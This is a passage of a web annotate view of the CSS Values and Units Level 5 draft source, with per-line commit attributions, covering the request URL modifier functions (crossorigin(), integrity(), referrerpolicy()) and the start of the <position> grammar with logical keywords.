423</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l178" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l424" id="l424"> 424</a> </td> <td class="source"> See <a href="https://www.w3.org/TR/css-values-4/">CSS Values and Units Level 4</a>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l150" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l425" id="l425"> 425</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l51" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l426" id="l426"> 426</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l54" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l436" id="l436"> 436</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l55" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l437" id="l437"> 437</a> </td> <td class="source"><h3 id="urls"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l56" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l438" id="l438"> 438</a> </td> <td class="source">Resource Locators: the <<url>> type</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l57" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l439" id="l439"> 439</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l58" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l440" id="l440"> 440</a> </td> <td class="source"> See [[css-values-4#urls]]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l59" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l441" id="l441"> 441</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l60" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l442" id="l442"> 442</a> </td> <td class="source"><h4 id='request-url-modifiers'> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l61" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l443" id="l443"> 443</a> </td> <td class="source">Request URL Modifiers</h4> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l62" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l444" id="l444"> 444</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l63" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l445" id="l445"> 445</a> </td> <td class="source"> <dfn><<request-url-modifier>></dfn>s are <<url-modifier>>s </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l64" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l446" id="l446"> 446</a> </td> <td class="source"> that affect the <<url>>’s resource [=/request=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l65" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l447" id="l447"> 447</a> </td> <td class="source"> by applying associated [=URL request modifier steps=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l66" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l448" id="l448"> 448</a> </td> <td class="source"> See [[css-values-4#url-processing]]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l67" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l449" id="l449"> 449</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l68" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l450" id="l450"> 450</a> </td> <td class="source"> This specification defines the following <<request-url-modifier>>s: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l69" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l451" id="l451"> 451</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l70" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l452" id="l452"> 452</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l71" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l453" id="l453"> 453</a> </td> <td class="source"> <<request-url-modifier>> = <<crossorigin-modifier>> | <<integrity-modifier>> | <<referrerpolicy-modifier>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l72" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l454" id="l454"> 454</a> </td> <td class="source"> <<crossorigin-modifier>> = crossorigin(anonymous | use-credentials) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l73" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l455" id="l455"> 455</a> </td> <td class="source"> <<integrity-modifier>> = integrity(<<string>>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l74" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l456" id="l456"> 456</a> </td> <td class="source"> <<referrerpolicy-modifier>> = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l75" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l457" id="l457"> 457</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l76" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l458" id="l458"> 458</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l77" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l459" id="l459"> 459</a> </td> <td class="source"> <dl dfn-for="<request-url-modifier>"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l78" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l460" id="l460"> 460</a> </td> <td class="source"> <dt><dfn><<crossorigin-modifier>></dfn> = <dfn function lt="crossorigin()">crossorigin</dfn>(<dfn value>anonymous</dfn> | <dfn value>use-credentials</dfn>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l79" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l461" id="l461"> 461</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l80" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l462" id="l462"> 462</a> </td> <td class="source"> The [=URL request modifier steps=] for this modifier given [=/request=] |req| are: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l81" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l463" id="l463"> 463</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l82" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l464" id="l464"> 464</a> </td> <td class="source"> 1. Set [=/request=]'s [=request/mode=] to "cors". </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l83" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l465" id="l465"> 465</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l84" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l466" id="l466"> 466</a> </td> <td class="source"> 2. If the given value is ''use-credentials'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l85" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l467" id="l467"> 467</a> </td> <td class="source"> set [=/request=]'s [=request/credentials mode=] to "include". </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l86" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l468" id="l468"> 468</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l87" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l469" id="l469"> 469</a> </td> <td class="source"> <dt><dfn><<integrity-modifier>></dfn> = <dfn function lt="integrity()">integrity</dfn>(<<string>>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l88" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l470" id="l470"> 470</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l89" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l471" id="l471"> 471</a> </td> <td class="source"> The [=URL request modifier steps=] for this modifier given [=/request=] |req| </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l90" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l472" id="l472"> 472</a> </td> <td class="source"> are to set [=/request=]'s [=request/integrity metadata=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l91" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l473" id="l473"> 473</a> </td> <td class="source"> to the given <<string>>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l92" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l474" id="l474"> 474</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l93" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l475" id="l475"> 475</a> </td> <td class="source"> <dt><dfn><<referrerpolicy-modifier>></dfn> = <dfn function lt="referrerpolicy()">referrerpolicy</dfn>(<dfn value>no-referrer</dfn> | <dfn value>no-referrer-when-downgrade</dfn> | <dfn value>same-origin</dfn> | <dfn value>origin</dfn> | <dfn value>strict-origin</dfn> | <dfn value>origin-when-cross-origin</dfn> | <dfn value>strict-origin-when-cross-origin</dfn> | <dfn value>unsafe-url</dfn>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l94" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l476" id="l476"> 476</a> </td> <td class="source"> <dd> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l95" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l477" id="l477"> 477</a> </td> <td class="source"> The [=URL request modifier steps=] for this modifier given [=/request=] |req| </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l96" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l478" id="l478"> 478</a> </td> <td class="source"> are to set [=/request=]'s [=request/referrer policy=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l97" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l479" id="l479"> 479</a> </td> <td class="source"> to the {{ReferrerPolicy}} that matches the given value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l98" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l480" id="l480"> 480</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l99" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l481" id="l481"> 481</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l100" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l482" id="l482"> 482</a> </td> <td class="source"> <div algorithm> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/ef40c0c18301/css-values-5/Overview.bs#l106" title="ef40c0c18301: [css-values-5][editorial] bikeshed fixes">jackalmage@30482</a> </td> <td class="lineno"> <a href="#l483" id="l483"> 483</a> </td> <td class="source"> To <dfn export>apply request modifiers from URL value</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l102" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l484" id="l484"> 484</a> </td> <td class="source"> given a [=/request=] |req| </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l103" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l485" id="l485"> 485</a> </td> <td class="source"> and a <<url>> |url|, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/a0358c5181ec/css-values-5/Overview.bs#l241" title="a0358c5181ec: [css-values-5][css-backgrounds-3][editorial] Fix bikeshed errors.">jackalmage@31606</a> </td> <td class="lineno"> <a href="#l486" id="l486"> 486</a> </td> <td class="source"> call the [=URL request modifier steps=] for |url|'s <<request-url-modifier>>s in sequence </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l105" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l487" id="l487"> 487</a> </td> <td class="source"> given |req|. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l106" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l488" id="l488"> 488</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/86d648f96505/css-values-5/Overview.bs#l107" title="86d648f96505: [css-values-4][css-values-5] Move <request-url-modifiers> to L5. #8222">fantasai@29868</a> </td> <td class="lineno"> <a href="#l489" id="l489"> 489</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l115" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l490" id="l490"> 490</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l245" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l491" id="l491"> 491</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l255" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l501" id="l501"> 501</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l256" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l502" id="l502"> 502</a> </td> <td class="source"><h3 id="position"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l257" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l503" id="l503"> 503</a> </td> <td class="source">2D Positioning: the <<position>> type</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l258" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l504" id="l504"> 504</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l259" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l505" id="l505"> 505</a> </td> <td class="source"> The <dfn><<position>></dfn> value specifies the position </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l260" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l506" id="l506"> 506</a> </td> <td class="source"> of an [=alignment subject=] (e.g. a background image) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l261" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l507" id="l507"> 507</a> </td> <td class="source"> inside an [=alignment container=] (e.g. its [=background positioning area=]) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l262" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l508" id="l508"> 508</a> </td> <td class="source"> as a pair of offsets between the specified edges </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l263" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l509" id="l509"> 509</a> </td> <td class="source"> (defaulting to the left and top). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l264" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l510" id="l510"> 510</a> </td> <td class="source"> Its syntax is: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l265" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l511" id="l511"> 511</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l266" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l512" id="l512"> 512</a> </td> <td class="source"> <pre class=prod> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l267" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l513" id="l513"> 513</a> </td> <td class="source"> <<position>> = <<position-one>> | <<position-two>> | <<position-four>> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l268" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l514" id="l514"> 514</a> </td> <td class="source"> <dfn><<position-one>></dfn> = [ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l269" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l515" id="l515"> 515</a> </td> <td class="source"> left | center | right | top | bottom | </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l270" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l516" id="l516"> 516</a> </td> <td class="source"> x-start | x-end | y-start | y-end | </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l271" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l517" id="l517"> 517</a> </td> <td class="source"> block-start | block-end | inline-start | inline-end | </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l272" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l518" id="l518"> 518</a> </td> <td class="source"> <<length-percentage>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l273" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l519" id="l519"> 519</a> </td> <td class="source"> ] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l274" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l520" id="l520"> 520</a> </td> <td class="source"> <dfn><<position-two>></dfn> = [ </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l275" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l521" id="l521"> 521</a> </td> <td class="source"> [ left | center | right | x-start | x-end ] && </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l276" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l522" id="l522"> 522</a> </td> <td class="source"> [ top | center | bottom | y-start | y-end ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l277" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l523" id="l523"> 523</a> </td> <td class="source"> | </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l278" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l524" id="l524"> 524</a> </td> <td class="source"> [ left | center | right | x-start | x-end | <<length-percentage>> ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l279" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l525" id="l525"> 525</a> </td> <td class="source"> [ top | center | bottom | y-start | y-end | <<length-percentage>> ] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l280" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l526" id="l526"> 526</a> </td> <td class="source"> | </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l281" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l527" id="l527"> 527</a> </td> <td class="source"> [ block-start | center | block-end ] && </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l282" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l528" id="l528"> 528</a> </td> <td class="source"> [ inline-start | center | inline-end ] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/de6c5ef5736a/css-values-5/Overview.bs#l283" title="de6c5ef5736a: [css-values-5] Define logical <<position>> values per #549">fantasai@31588</a> </td> <td class="lineno"> <a href="#l529" id="l529"> 529</a> </td> <td class="source"> | </td> </tr> <tr class="parity1"> <td class="linenr"> <a 